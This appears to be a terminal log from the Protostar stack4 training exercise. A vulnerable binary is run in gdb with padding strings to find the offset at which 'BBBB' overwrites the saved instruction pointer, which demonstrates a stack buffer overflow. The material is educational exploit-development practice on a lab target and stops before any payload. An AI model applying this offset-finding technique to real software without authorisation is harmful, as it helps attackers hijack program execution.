user@protostar:/tmp$ gdb bin/stack4 GNU gdb (GDB) 7.0.1-debian Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty"for details. This GDB was configured as"i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /opt/protostar/bin/stack4...done. gdb$ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX:0xBFFFF720EBX:0xB7FD7FF4ECX:0xBFFFF720EDX:0xB7FD9334 o d I t s Z a P c ESI:0x00000000EDI:0x00000000EBP:0x41414141ESP:0xBFFFF770EIP:0x41414141 CS:0073DS:007B ES:007B FS:0000GS:0033SS:007BError while running hook_stop: Cannot access memory at address 0x41414141 0x41414141in ?? ()
gdb$ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX:0xBFFFF720EBX: 0xB7FD7FF4ECX: 0xBFFFF720EDX: 0xB7FD9334 o d I t s Z a P c ESI:0x00000000EDI: 0x00000000EBP: 0x41414141ESP: 0xBFFFF770EIP: 0x42424242 CS:0073DS: 007B ES: 007B FS: 0000GS: 0033SS: 007BError while running hook_stop: Cannot access memory at address 0x42424242 0x42424242in ?? ()